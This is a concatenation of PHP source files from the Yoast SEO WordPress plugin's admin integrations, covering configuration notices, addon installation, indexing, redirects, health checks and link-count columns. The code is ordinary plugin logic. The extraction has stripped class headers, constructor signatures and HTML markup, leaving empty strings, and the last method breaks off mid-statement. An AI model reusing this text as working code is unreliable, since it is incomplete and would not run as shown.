// Case where the user has no plan active and tracking disabled. return $this->beacon_id; } /** * Allows filtering of the HelpScout settings. Hooked to admin_head to prevent timing issues, not too early, not too late. * * @return void */ protected function filter_settings() { $filterable_helpscout_setting = [ 'products' => $this->products, 'pages_ids' => $this->pages_ids, ]; /** * Filter: 'wpseo_helpscout_beacon_settings' - Allows overriding the HelpScout beacon settings. * * @param string $beacon_settings The HelpScout beacon settings. */ $helpscout_settings = \apply_filters( 'wpseo_helpscout_beacon_settings', $filterable_helpscout_setting ); $this->products = $helpscout_settings['products']; $this->pages_ids = $helpscout_settings['pages_ids']; } } integrations/admin/first-time-configuration-notice-integration.php000064400000011775152076254550021631 0ustar00options_helper = $options_helper; $this->admin_asset_manager = $admin_asset_manager; $this->first_time_configuration_notice_helper = $first_time_configuration_notice_helper; } /** * {@inheritDoc} */ public function register_hooks() { \add_action( 'wp_ajax_dismiss_first_time_configuration_notice', [ $this, 'dismiss_first_time_configuration_notice' ] ); \add_action( 'admin_notices', [ $this, 'first_time_configuration_notice' ] ); } /** * Dismisses the First-time configuration notice. * * @return bool */ public function dismiss_first_time_configuration_notice() { // Check for nonce. if ( ! \check_ajax_referer( 'wpseo-dismiss-first-time-configuration-notice', 'nonce', false ) ) { return false; } return $this->options_helper->set( 'dismiss_configuration_workout_notice', true ); } /** * Determines whether and where the "First-time SEO Configuration" admin notice should be displayed. * * @return bool Whether the "First-time SEO Configuration" admin notice should be displayed. */ public function should_display_first_time_configuration_notice() { return $this->first_time_configuration_notice_helper->should_display_first_time_configuration_notice(); } /** * Displays an admin notice when the first-time configuration has not been finished yet. * * @return void */ public function first_time_configuration_notice() { if ( ! $this->should_display_first_time_configuration_notice() ) { return; } $this->admin_asset_manager->enqueue_style( 'monorepo' ); $title = $this->first_time_configuration_notice_helper->get_first_time_configuration_title(); $link_url = \esc_url( \self_admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' ) ); if ( ! $this->first_time_configuration_notice_helper->should_show_alternate_message() ) { $content = \sprintf( /* translators: 1: Link start tag to the first-time configuration, 2: Yoast SEO, 3: Link closing tag. */ \__( 'Get started quickly with the %1$s%2$s First-time configuration%3$s and configure Yoast SEO with the optimal SEO settings for your site!', 'wordpress-seo' ), '', 'Yoast SEO', '', ); } else { $content = \sprintf( /* translators: 1: Link start tag to the first-time configuration, 2: Link closing tag. */ \__( 'We noticed that you haven\'t fully configured Yoast SEO yet. Optimize your SEO settings even further by using our improved %1$s First-time configuration%2$s.', 'wordpress-seo' ), '', '', ); } $notice = new Notice_Presenter( $title, $content, 'mirrored_fit_bubble_woman_1_optim.svg', null, true, 'yoast-first-time-configuration-notice', ); //phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output from present() is considered safe. echo $notice->present(); // Enable permanently dismissing the notice. echo ''; } } integrations/admin/addon-installation/dialog-integration.php000064400000006664152076254550020446 0ustar00addon_manager = $addon_manager; } /** * Registers all hooks to WordPress. * * @return void */ public function register_hooks() { \add_action( 'admin_init', [ $this, 'start_addon_installation' ] ); } /** * Starts the addon installation flow. * * @return void */ public function start_addon_installation() { // Only show the dialog when we explicitly want to see it. // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: This is not a form. if ( ! isset( $_GET['install'] ) || $_GET['install'] !== 'true' ) { return; } $this->bust_myyoast_addon_information_cache(); $this->owned_addons = $this->get_owned_addons(); if ( \count( $this->owned_addons ) > 0 ) { \add_action( 'admin_enqueue_scripts', [ $this, 'show_modal' ] ); } else { \add_action( 'admin_notices', [ $this, 'throw_no_owned_addons_warning' ] ); } } /** * Throws a no owned addons warning. * * @return void */ public function throw_no_owned_addons_warning() { echo '

' . \sprintf( /* translators: %1$s expands to Yoast SEO */ \esc_html__( 'No %1$s plugins have been installed. You don\'t seem to own any active subscriptions.', 'wordpress-seo', ), 'Yoast SEO', ) . '

'; } /** * Shows the modal. * * @return void */ public function show_modal() { \wp_localize_script( WPSEO_Admin_Asset_Manager::PREFIX . 'addon-installation', 'wpseoAddonInstallationL10n', [ 'addons' => $this->owned_addons, 'nonce' => \wp_create_nonce( 'wpseo_addon_installation' ), ], ); $asset_manager = new WPSEO_Admin_Asset_Manager(); $asset_manager->enqueue_script( 'addon-installation' ); } /** * Retrieves a list of owned addons for the site in MyYoast. * * @return array List of owned addons with slug as key and name as value. */ protected function get_owned_addons() { $owned_addons = []; foreach ( $this->addon_manager->get_myyoast_site_information()->subscriptions as $addon ) { $owned_addons[] = $addon->product->name; } return $owned_addons; } /** * Bust the site information transients to have fresh data. * * @return void */ protected function bust_myyoast_addon_information_cache() { $this->addon_manager->remove_site_information_transients(); } } integrations/admin/addon-installation/installation-integration.php000064400000014016152076254550021676 0ustar00addon_manager = $addon_manager; $this->addon_activate_action = $addon_activate_action; $this->addon_install_action = $addon_install_action; } /** * Registers all hooks to WordPress. * * @return void */ public function register_hooks() { \add_action( 'wpseo_install_and_activate_addons', [ $this, 'install_and_activate_addons' ] ); } /** * Installs and activates missing addons. * * @return void */ public function install_and_activate_addons() { if ( ! isset( $_GET['action'] ) || ! \is_string( $_GET['action'] ) ) { return; } // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only strictly comparing action below. $action = \wp_unslash( $_GET['action'] ); if ( $action !== 'install' ) { return; } \check_admin_referer( 'wpseo_addon_installation', 'nonce' ); echo '
'; \printf( '

%s

', \esc_html__( 'Installing and activating addons', 'wordpress-seo' ), ); $licensed_addons = $this->addon_manager->get_myyoast_site_information()->subscriptions; foreach ( $licensed_addons as $addon ) { \printf( '

%s

', \esc_html( $addon->product->name ) ); [ $installed, $output ] = $this->install_addon( $addon->product->slug, $addon->product->download ); if ( $installed ) { $activation_output = $this->activate_addon( $addon->product->slug ); $output = \array_merge( $output, $activation_output ); } echo '

'; echo \implode( '
', \array_map( 'esc_html', $output ) ); echo '

'; } \printf( /* translators: %1$s expands to an anchor tag to the admin premium page, %2$s expands to Yoast SEO Premium, %3$s expands to a closing anchor tag */ \esc_html__( '%1$s Continue to %2$s%3$s', 'wordpress-seo' ), '', 'Yoast SEO Premium', '', ); echo '
'; exit(); } /** * Activates an addon. * * @param string $addon_slug The addon to activate. * * @return array The output of the activation. */ public function activate_addon( $addon_slug ) { $output = []; try { $this->addon_activate_action->activate_addon( $addon_slug ); /* Translators: %s expands to the name of the addon. */ $output[] = \__( 'Addon activated.', 'wordpress-seo' ); } catch ( User_Cannot_Activate_Plugins_Exception $exception ) { $output[] = \__( 'You are not allowed to activate plugins.', 'wordpress-seo' ); } catch ( Addon_Activation_Error_Exception $exception ) { $output[] = \sprintf( /* Translators:%s expands to the error message. */ \__( 'Addon activation failed because of an error: %s.', 'wordpress-seo' ), $exception->getMessage(), ); } return $output; } /** * Installs an addon. * * @param string $addon_slug The slug of the addon to install. * @param string $addon_download The download URL of the addon. * * @return array The installation success state and the output of the installation. */ public function install_addon( $addon_slug, $addon_download ) { $installed = false; $output = []; try { $installed = $this->addon_install_action->install_addon( $addon_slug, $addon_download ); } catch ( Addon_Already_Installed_Exception $exception ) { /* Translators: %s expands to the name of the addon. */ $output[] = \__( 'Addon installed.', 'wordpress-seo' ); $installed = true; } catch ( User_Cannot_Install_Plugins_Exception $exception ) { $output[] = \__( 'You are not allowed to install plugins.', 'wordpress-seo' ); } catch ( Addon_Installation_Error_Exception $exception ) { $output[] = \sprintf( /* Translators: %s expands to the error message. */ \__( 'Addon installation failed because of an error: %s.', 'wordpress-seo' ), $exception->getMessage(), ); } return [ $installed, $output ]; } } integrations/admin/first-time-configuration-integration.php000064400000040564152076254550020350 0ustar00admin_asset_manager = $admin_asset_manager; $this->addon_manager = $addon_manager; $this->shortlinker = $shortlinker; $this->options_helper = $options_helper; $this->social_profiles_helper = $social_profiles_helper; $this->product_helper = $product_helper; $this->meta_tags_context = $meta_tags_context; $this->woocommerce_helper = $woocommerce_helper; } /** * {@inheritDoc} */ public function register_hooks() { \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); \add_action( 'wpseo_settings_tabs_dashboard', [ $this, 'add_first_time_configuration_tab' ] ); } /** * Adds a dedicated tab in the General sub-page. * * @param WPSEO_Options_Tabs $dashboard_tabs Object representing the tabs of the General sub-page. * * @return void */ public function add_first_time_configuration_tab( $dashboard_tabs ) { $dashboard_tabs->add_tab( new WPSEO_Option_Tab( 'first-time-configuration', \__( 'First-time configuration', 'wordpress-seo' ), [ 'save_button' => false ], ), ); } /** * Adds the data for the first-time configuration to the wpseoFirstTimeConfigurationData object. * * @return void */ public function enqueue_assets() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved. if ( ! isset( $_GET['page'] ) || ( $_GET['page'] !== 'wpseo_dashboard' && $_GET['page'] !== General_Page_Integration::PAGE ) || \is_network_admin() ) { return; } $this->admin_asset_manager->enqueue_script( 'indexation' ); $this->admin_asset_manager->enqueue_style( 'first-time-configuration' ); $this->admin_asset_manager->enqueue_style( 'admin-css' ); $this->admin_asset_manager->enqueue_style( 'monorepo' ); $data = [ 'disabled' => ! \YoastSEO()->helpers->indexable->should_index_indexables(), 'amount' => \YoastSEO()->helpers->indexing->get_filtered_unindexed_count(), 'firstTime' => ( \YoastSEO()->helpers->indexing->is_initial_indexing() === true ), 'errorMessage' => '', 'restApi' => [ 'root' => \esc_url_raw( \rest_url() ), 'indexing_endpoints' => $this->get_endpoints(), 'nonce' => \wp_create_nonce( 'wp_rest' ), ], ]; /** * Filter: 'wpseo_indexing_data' Filter to adapt the data used in the indexing process. * * @param array $data The indexing data to adapt. */ $data = \apply_filters( 'wpseo_indexing_data', $data ); $this->admin_asset_manager->localize_script( 'indexation', 'yoastIndexingData', $data ); $person_id = $this->get_person_id(); $social_profiles = $this->get_social_profiles(); // This filter is documented in admin/views/tabs/metas/paper-content/general/knowledge-graph.php. $knowledge_graph_message = \apply_filters( 'wpseo_knowledge_graph_setting_msg', '' ); $finished_steps = $this->get_finished_steps(); $options = $this->get_company_or_person_options(); $selected_option_label = ''; $filtered_options = \array_filter( $options, function ( $item ) { return $item['value'] === $this->is_company_or_person(); }, ); $selected_option = \reset( $filtered_options ); if ( \is_array( $selected_option ) ) { $selected_option_label = $selected_option['label']; } $data_ftc = [ 'canEditUser' => $this->can_edit_profile( $person_id ), 'companyOrPerson' => $this->is_company_or_person(), 'companyOrPersonLabel' => $selected_option_label, 'companyName' => $this->get_company_name(), 'fallbackCompanyName' => $this->get_fallback_company_name( $this->get_company_name() ), 'websiteName' => $this->get_website_name(), 'fallbackWebsiteName' => $this->get_fallback_website_name( $this->get_website_name() ), 'companyLogo' => $this->get_company_logo(), 'companyLogoFallback' => $this->get_company_fallback_logo( $this->get_company_logo() ), 'companyLogoId' => $this->get_person_logo_id(), 'finishedSteps' => $finished_steps, 'personId' => (int) $person_id, 'personName' => $this->get_person_name(), 'personLogo' => $this->get_person_logo(), 'personLogoFallback' => $this->get_person_fallback_logo( $this->get_person_logo() ), 'personLogoId' => $this->get_person_logo_id(), 'siteTagline' => $this->get_site_tagline(), 'socialProfiles' => [ 'facebookUrl' => $social_profiles['facebook_site'], 'twitterUsername' => $social_profiles['twitter_site'], 'otherSocialUrls' => $social_profiles['other_social_urls'], ], 'isPremium' => $this->product_helper->is_premium(), 'isWooCommerceActive' => $this->woocommerce_helper->is_active(), 'isWooCommerceSeoActive' => $this->is_wooseo_active(), 'tracking' => $this->has_tracking_enabled(), 'isTrackingAllowedMultisite' => $this->is_tracking_enabled_multisite(), 'isMainSite' => $this->is_main_site(), 'companyOrPersonOptions' => $options, 'shouldForceCompany' => $this->should_force_company(), 'knowledgeGraphMessage' => $knowledge_graph_message, 'shortlinks' => [ 'gdpr' => $this->shortlinker->build_shortlink( 'https://yoa.st/gdpr-config-workout' ), 'configIndexables' => $this->shortlinker->build_shortlink( 'https://yoa.st/config-indexables' ), 'configIndexablesBenefits' => $this->shortlinker->build_shortlink( 'https://yoa.st/config-indexables-benefits' ), 'indexationLearnMore' => $this->shortlinker->build_shortlink( 'https://yoa.st/ftc-indexation-premium-learn-more' ), 'reprWoocommerceLearnMore' => $this->shortlinker->build_shortlink( 'https://yoa.st/ftc-representation-wooseo-learn-more' ), 'reprLocalLearnMore' => $this->shortlinker->build_shortlink( 'https://yoa.st/ftc-representation-local-learn-more' ), 'finishLearnMore' => $this->shortlinker->build_shortlink( 'https://yoa.st/ftc-finish-premium-learn-more' ), ], ]; $this->admin_asset_manager->localize_script( 'general-page', 'wpseoFirstTimeConfigurationData', $data_ftc ); } /** * Retrieves a list of the endpoints to use. * * @return array The endpoints. */ protected function get_endpoints() { $endpoints = [ 'prepare' => Indexing_Route::FULL_PREPARE_ROUTE, 'terms' => Indexing_Route::FULL_TERMS_ROUTE, 'posts' => Indexing_Route::FULL_POSTS_ROUTE, 'archives' => Indexing_Route::FULL_POST_TYPE_ARCHIVES_ROUTE, 'general' => Indexing_Route::FULL_GENERAL_ROUTE, 'indexablesComplete' => Indexing_Route::FULL_INDEXABLES_COMPLETE_ROUTE, 'post_link' => Indexing_Route::FULL_POST_LINKS_INDEXING_ROUTE, 'term_link' => Indexing_Route::FULL_TERM_LINKS_INDEXING_ROUTE, ]; $endpoints = \apply_filters( 'wpseo_indexing_endpoints', $endpoints ); $endpoints['complete'] = Indexing_Route::FULL_COMPLETE_ROUTE; return $endpoints; } // ** Private functions ** // /** * Returns the finished steps array. * * @return array An array with the finished steps. */ private function get_finished_steps() { return $this->options_helper->get( 'configuration_finished_steps', [] ); } /** * Returns the entity represented by the site. * * @return string The entity represented by the site. */ private function is_company_or_person() { return $this->options_helper->get( 'company_or_person', '' ); } /** * Gets the company name from the option in the database. * * @return string The company name. */ private function get_company_name() { return $this->options_helper->get( 'company_name', '' ); } /** * Gets the fallback company name from the option in the database if there is no company name. * * @param string $company_name The given company name by the user, default empty string. * * @return string|false The company name. */ private function get_fallback_company_name( $company_name ) { if ( $company_name ) { return false; } return \get_bloginfo( 'name' ); } /** * Gets the website name from the option in the database. * * @return string The website name. */ private function get_website_name() { return $this->options_helper->get( 'website_name', '' ); } /** * Gets the fallback website name from the option in the database if there is no website name. * * @param string $website_name The given website name by the user, default empty string. * * @return string|false The website name. */ private function get_fallback_website_name( $website_name ) { if ( $website_name ) { return false; } return \get_bloginfo( 'name' ); } /** * Gets the company logo from the option in the database. * * @return string The company logo. */ private function get_company_logo() { return $this->options_helper->get( 'company_logo', '' ); } /** * Gets the company logo id from the option in the database. * * @return string The company logo id. */ private function get_company_logo_id() { return $this->options_helper->get( 'company_logo_id', '' ); } /** * Gets the company logo url from the option in the database. * * @param string $company_logo The given company logo by the user, default empty. * * @return string|false The company logo URL. */ private function get_company_fallback_logo( $company_logo ) { if ( $company_logo ) { return false; } $logo_id = $this->meta_tags_context->fallback_to_site_logo(); return \esc_url( \wp_get_attachment_url( $logo_id ) ); } /** * Gets the person id from the option in the database. * * @return int|null The person id, null if empty. */ private function get_person_id() { return $this->options_helper->get( 'company_or_person_user_id' ); } /** * Gets the person id from the option in the database. * * @return int|null The person id, null if empty. */ private function get_person_name() { $user = \get_userdata( $this->get_person_id() ); if ( $user instanceof WP_User ) { return $user->get( 'display_name' ); } return ''; } /** * Gets the person avatar from the option in the database. * * @return string The person logo. */ private function get_person_logo() { return $this->options_helper->get( 'person_logo', '' ); } /** * Gets the person logo url from the option in the database. * * @param string $person_logo The given person logo by the user, default empty. * * @return string|false The person logo URL. */ private function get_person_fallback_logo( $person_logo ) { if ( $person_logo ) { return false; } $logo_id = $this->meta_tags_context->fallback_to_site_logo(); return \esc_url( \wp_get_attachment_url( $logo_id ) ); } /** * Gets the person logo id from the option in the database. * * @return string The person logo id. */ private function get_person_logo_id() { return $this->options_helper->get( 'person_logo_id', '' ); } /** * Gets the site tagline. * * @return string The site tagline. */ private function get_site_tagline() { return \get_bloginfo( 'description' ); } /** * Gets the social profiles stored in the database. * * @return string[] The social profiles. */ private function get_social_profiles() { return $this->social_profiles_helper->get_organization_social_profiles(); } /** * Checks whether tracking is enabled. * * @return bool True if tracking is enabled, false otherwise, null if in Free and conf. workout step not finished. */ private function has_tracking_enabled() { $default = false; if ( $this->product_helper->is_premium() ) { $default = true; } return $this->options_helper->get( 'tracking', $default ); } /** * Checks whether tracking option is allowed at network level. * * @return bool True if option change is allowed, false otherwise. */ private function is_tracking_enabled_multisite() { $default = true; if ( ! \is_multisite() ) { return $default; } return $this->options_helper->get( 'allow_tracking', $default ); } /** * Checks whether we are in a main site. * * @return bool True if it's the main site or a single site, false if it's a subsite. */ private function is_main_site() { return \is_main_site(); } /** * Gets the options for the Company or Person select. * Returns only the company option if it is forced (by Local SEO), otherwise returns company and person option. * * @return array The options for the company-or-person select. */ private function get_company_or_person_options() { $options = [ [ 'label' => \__( 'Organization', 'wordpress-seo' ), 'value' => 'company', 'id' => 'company', ], [ 'label' => \__( 'Person', 'wordpress-seo' ), 'value' => 'person', 'id' => 'person', ], ]; if ( $this->should_force_company() ) { $options = [ [ 'label' => \__( 'Organization', 'wordpress-seo' ), 'value' => 'company', 'id' => 'company', ], ]; } return $options; } /** * Checks whether we should force "Organization". * * @return bool */ private function should_force_company() { return $this->addon_manager->is_installed( WPSEO_Addon_Manager::LOCAL_SLUG ); } /** * Checks if the current user has the capability to edit a specific user. * * @param int $person_id The id of the person to edit. * * @return bool */ private function can_edit_profile( $person_id ) { return \current_user_can( 'edit_user', $person_id ); } /** * Checks if Yoast WooCommerce SEO is active. * * @return bool */ private function is_wooseo_active() { $addon_manager = new WPSEO_Addon_Manager(); return $addon_manager->is_installed( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ); } } integrations/admin/indexing-tool-integration.php000064400000016445152076254550016201 0ustar00asset_manager = $asset_manager; $this->indexable_helper = $indexable_helper; $this->short_link_helper = $short_link_helper; $this->indexing_helper = $indexing_helper; $this->addon_manager = $addon_manager; $this->product_helper = $product_helper; $this->importable_detector = $importable_detector; $this->importing_route = $importing_route; } /** * Register hooks. * * @return void */ public function register_hooks() { \add_action( 'wpseo_tools_overview_list_items_internal', [ $this, 'render_indexing_list_item' ], 10 ); \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_scripts' ], 10 ); } /** * Enqueues the required scripts. * * @return void */ public function enqueue_scripts() { $this->asset_manager->enqueue_script( 'indexation' ); $this->asset_manager->enqueue_style( 'admin-css' ); $this->asset_manager->enqueue_style( 'monorepo' ); $data = [ 'disabled' => ! $this->indexable_helper->should_index_indexables(), 'amount' => $this->indexing_helper->get_filtered_unindexed_count(), 'firstTime' => ( $this->indexing_helper->is_initial_indexing() === true ), 'errorMessage' => $this->render_indexing_error(), 'restApi' => [ 'root' => \esc_url_raw( \rest_url() ), 'indexing_endpoints' => $this->get_indexing_endpoints(), 'importing_endpoints' => $this->get_importing_endpoints(), 'nonce' => \wp_create_nonce( 'wp_rest' ), ], ]; /** * Filter: 'wpseo_indexing_data' Filter to adapt the data used in the indexing process. * * @param array $data The indexing data to adapt. */ $data = \apply_filters( 'wpseo_indexing_data', $data ); $this->asset_manager->localize_script( 'indexation', 'yoastIndexingData', $data ); } /** * The error to show if optimization failed. * * @return string The error to show if optimization failed. */ protected function render_indexing_error() { $presenter = new Indexing_Error_Presenter( $this->short_link_helper, $this->product_helper, $this->addon_manager, ); return $presenter->present(); } /** * Determines if the site has a valid Premium subscription. * * @return bool If the site has a valid Premium subscription. */ protected function has_valid_premium_subscription() { return $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ); } /** * Renders the indexing list item. * * @return void */ public function render_indexing_list_item() { if ( \current_user_can( 'manage_options' ) ) { // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- The output is correctly escaped in the presenter. echo new Indexing_List_Item_Presenter( $this->short_link_helper ); } } /** * Retrieves a list of the indexing endpoints to use. * * @return array The endpoints. */ protected function get_indexing_endpoints() { $endpoints = [ 'prepare' => Indexing_Route::FULL_PREPARE_ROUTE, 'terms' => Indexing_Route::FULL_TERMS_ROUTE, 'posts' => Indexing_Route::FULL_POSTS_ROUTE, 'archives' => Indexing_Route::FULL_POST_TYPE_ARCHIVES_ROUTE, 'general' => Indexing_Route::FULL_GENERAL_ROUTE, 'indexablesComplete' => Indexing_Route::FULL_INDEXABLES_COMPLETE_ROUTE, 'post_link' => Indexing_Route::FULL_POST_LINKS_INDEXING_ROUTE, 'term_link' => Indexing_Route::FULL_TERM_LINKS_INDEXING_ROUTE, ]; $endpoints = \apply_filters( 'wpseo_indexing_endpoints', $endpoints ); $endpoints['complete'] = Indexing_Route::FULL_COMPLETE_ROUTE; return $endpoints; } /** * Retrieves a list of the importing endpoints to use. * * @return array The endpoints. */ protected function get_importing_endpoints() { $available_actions = $this->importable_detector->detect_importers(); $importing_endpoints = []; foreach ( $available_actions as $plugin => $types ) { foreach ( $types as $type ) { $importing_endpoints[ $plugin ][] = $this->importing_route->get_endpoint( $plugin, $type ); } } return $importing_endpoints; } } integrations/admin/redirects-page-integration.php000064400000010730152076254550016306 0ustar00current_page_helper = $current_page_helper; $this->user_helper = $user_helper; $this->wistia_embed_permission_repository = $wistia_embed_permission_repository; } /** * Sets up the hooks. * * @return void */ public function register_hooks() { \add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], 9 ); if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) { \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); \add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX ); } } /** * Returns the conditionals based on which this loadable should be active. * * In this case: only when on an admin page and Premium is not active. * * @return array The conditionals. */ public static function get_conditionals() { return [ Admin_Conditional::class, Premium_Inactive_Conditional::class, ]; } /** * Adds the redirects submenu page. * * @param array $submenu_pages The Yoast SEO submenu pages. * * @return array The filtered submenu pages. */ public function add_submenu_page( $submenu_pages ) { $submenu_pages[] = [ 'wpseo_dashboard', '', \__( 'Redirects', 'wordpress-seo' ) . ' ', 'edit_others_posts', self::PAGE, [ $this, 'display' ], ]; return $submenu_pages; } /** * Enqueue assets on the redirects page. * * @return void */ public function enqueue_assets() { $asset_manager = new WPSEO_Admin_Asset_Manager(); $asset_manager->enqueue_script( 'redirects' ); $asset_manager->enqueue_style( 'redirects' ); $user_id = $this->user_helper->get_current_user_id(); $asset_manager->localize_script( 'redirects', 'wpseoScriptData', [ 'preferences' => [ 'isRtl' => \is_rtl(), 'isComingFromToolsPage' => $this->is_coming_from_tools_page(), ], 'linkParams' => \YoastSEO()->helpers->short_link->get_query_params(), 'pluginUrl' => \plugins_url( '', \WPSEO_FILE ), 'wistiaEmbedPermission' => $this->wistia_embed_permission_repository->get_value_for_user( $user_id ), ], ); } /** * Displays the redirects page. * * @return void */ public function display() { require \WPSEO_PATH . 'admin/pages/redirects.php'; } /** * Removes all current WP notices. * * @return void */ public function remove_notices() { \remove_all_actions( 'admin_notices' ); \remove_all_actions( 'user_admin_notices' ); \remove_all_actions( 'network_admin_notices' ); \remove_all_actions( 'all_admin_notices' ); } /** * Checks whether the user is coming from the tools page. * * @return bool */ public function is_coming_from_tools_page() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are simply checking against a set value. return isset( $_GET['from_tools'] ) && $_GET['from_tools'] === '1'; } } integrations/admin/health-check-integration.php000064400000005373152076254550015737 0ustar00health_checks = $health_checks; } /** * Hooks the health checks into WordPress' site status tests. * * @return void */ public function register_hooks() { \add_filter( 'site_status_tests', [ $this, 'add_health_checks' ] ); } /** * Returns the conditionals based on which this loadable should be active. * * In this case: only when on an admin page. * * @return array The conditionals. */ public static function get_conditionals() { return [ Admin_Conditional::class ]; } /** * Checks if the input is a WordPress site status tests array, and adds Yoast's health checks if it is. * * @param string[] $tests Array containing WordPress site status tests. * @return string[] Array containing WordPress site status tests with Yoast's health checks. */ public function add_health_checks( $tests ) { if ( ! $this->is_valid_site_status_tests_array( $tests ) ) { return $tests; } return $this->add_health_checks_to_site_status_tests( $tests ); } /** * Checks if the input array is a WordPress site status tests array. * * @param mixed $tests Array to check. * @return bool Returns true if the input array is a WordPress site status tests array. */ private function is_valid_site_status_tests_array( $tests ) { if ( ! \is_array( $tests ) ) { return false; } if ( ! \array_key_exists( 'direct', $tests ) ) { return false; } if ( ! \is_array( $tests['direct'] ) ) { return false; } return true; } /** * Adds the health checks to WordPress' site status tests. * * @param string[] $tests Array containing WordPress site status tests. * @return string[] Array containing WordPress site status tests with Yoast's health checks. */ private function add_health_checks_to_site_status_tests( $tests ) { foreach ( $this->health_checks as $health_check ) { if ( $health_check->is_excluded() ) { continue; } $tests['direct'][ $health_check->get_test_identifier() ] = [ 'test' => [ $health_check, 'run_and_get_result' ], ]; } return $tests; } } integrations/admin/brand-insights-page.php000064400000004216152076254560014720 0ustar00'; /** * The product helper. * * @var Product_Helper */ private $product_helper; /** * Constructor. * * @param Product_Helper $product_helper The product helper. */ public function __construct( Product_Helper $product_helper ) { $this->product_helper = $product_helper; } /** * Returns the conditionals based in which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Admin_Conditional::class, ]; } /** * Registers all hooks to WordPress. * * @return void */ public function register_hooks() { // Add page with PHP_INT_MAX so it's always the last item. This is the AI Brand Insights button in the sidebar menu. \add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], \PHP_INT_MAX ); } /** * Adds the Brand Insights submenu page. * * @param string[] $submenu_pages The Yoast SEO submenu pages. * * @return string[] The filtered submenu pages. */ public function add_submenu_page( $submenu_pages ) { $page = $this->product_helper->is_premium() ? 'wpseo_brand_insights_premium' : 'wpseo_brand_insights'; $button_content = 'AI Brand Insights'; $menu_title = '' . '' . $button_content . self::EXTERNAL_LINK_ICON . ''; $submenu_pages[] = [ 'wpseo_dashboard', '', $menu_title, 'edit_others_posts', $page, [ $this, 'show_brand_insights_page' ], ]; return $submenu_pages; } /** * The Brand Insights page render function, noop. * * @return void */ public function show_brand_insights_page() { // Do nothing and let the redirect happen from the redirect integration. } } integrations/admin/link-count-columns-integration.php000064400000017035152076254560017157 0ustar00post_type_helper = $post_type_helper; $this->wpdb = $wpdb; $this->post_link_indexing_action = $post_link_indexing_action; $this->admin_columns_cache = $admin_columns_cache; } /** * {@inheritDoc} */ public function register_hooks() { \add_filter( 'posts_clauses', [ $this, 'order_by_links' ], 1, 2 ); \add_filter( 'posts_clauses', [ $this, 'order_by_linked' ], 1, 2 ); \add_action( 'admin_init', [ $this, 'register_init_hooks' ] ); // Adds a filter to exclude the attachments from the link count. \add_filter( 'wpseo_link_count_post_types', [ 'WPSEO_Post_Type', 'filter_attachment_post_type' ] ); } /** * Register hooks that need to be registered after `init` due to all post types not yet being registered. * * @return void */ public function register_init_hooks() { $public_post_types = \apply_filters( 'wpseo_link_count_post_types', $this->post_type_helper->get_accessible_post_types() ); if ( ! \is_array( $public_post_types ) || empty( $public_post_types ) ) { return; } foreach ( $public_post_types as $post_type ) { \add_filter( 'manage_' . $post_type . '_posts_columns', [ $this, 'add_post_columns' ] ); \add_action( 'manage_' . $post_type . '_posts_custom_column', [ $this, 'column_content' ], 10, 2 ); \add_filter( 'manage_edit-' . $post_type . '_sortable_columns', [ $this, 'column_sort' ] ); } } /** * Adds the columns for the post overview. * * @param array $columns Array with columns. * * @return array The extended array with columns. */ public function add_post_columns( $columns ) { if ( ! \is_array( $columns ) ) { return $columns; } $columns[ 'wpseo-' . self::COLUMN_LINKS ] = \sprintf( '%2$s', \esc_attr__( 'Number of outgoing internal links in this post.', 'wordpress-seo' ), /* translators: Hidden accessibility text. */ \esc_html__( 'Outgoing internal links', 'wordpress-seo' ), ); if ( $this->post_link_indexing_action->get_total_unindexed() === 0 ) { $columns[ 'wpseo-' . self::COLUMN_LINKED ] = \sprintf( '%2$s', \esc_attr__( 'Number of internal links linking to this post.', 'wordpress-seo' ), /* translators: Hidden accessibility text. */ \esc_html__( 'Received internal links', 'wordpress-seo' ), ); } return $columns; } /** * Modifies the query pieces to allow ordering column by links to post. * * @param array $pieces Array of Query pieces. * @param WP_Query $query The Query on which to apply. * * @return array */ public function order_by_linked( $pieces, $query ) { if ( $query->get( 'orderby' ) !== 'wpseo-' . self::COLUMN_LINKED ) { return $pieces; } return $this->build_sort_query_pieces( $pieces, $query, 'incoming_link_count' ); } /** * Modifies the query pieces to allow ordering column by links to post. * * @param array $pieces Array of Query pieces. * @param WP_Query $query The Query on which to apply. * * @return array */ public function order_by_links( $pieces, $query ) { if ( $query->get( 'orderby' ) !== 'wpseo-' . self::COLUMN_LINKS ) { return $pieces; } return $this->build_sort_query_pieces( $pieces, $query, 'link_count' ); } /** * Builds the pieces for a sorting query. * * @param array $pieces Array of Query pieces. * @param WP_Query $query The Query on which to apply. * @param string $field The field in the table to JOIN on. * * @return array Modified Query pieces. */ protected function build_sort_query_pieces( $pieces, $query, $field ) { // We only want our code to run in the main WP query. if ( ! $query->is_main_query() ) { return $pieces; } // Get the order query variable - ASC or DESC. $order = \strtoupper( $query->get( 'order' ) ); // Make sure the order setting qualifies. If not, set default as ASC. if ( ! \in_array( $order, [ 'ASC', 'DESC' ], true ) ) { $order = 'ASC'; } $table = Model::get_table_name( 'Indexable' ); $pieces['join'] .= " LEFT JOIN $table AS yoast_indexable ON yoast_indexable.object_id = {$this->wpdb->posts}.ID AND yoast_indexable.object_type = 'post' "; $pieces['orderby'] = "yoast_indexable.$field $order, FIELD( {$this->wpdb->posts}.post_status, 'publish' ) $order, {$pieces['orderby']}"; return $pieces; } /** * Displays the column content for the given column. * * @param string $column_name Column to display the content for. * @param int $post_id Post to display the column content for. * * @return void */ public function column_content( $column_name, $post_id ) { $indexable = $this->admin_columns_cache->get_indexable( $post_id ); // Nothing to output if we don't have the value. if 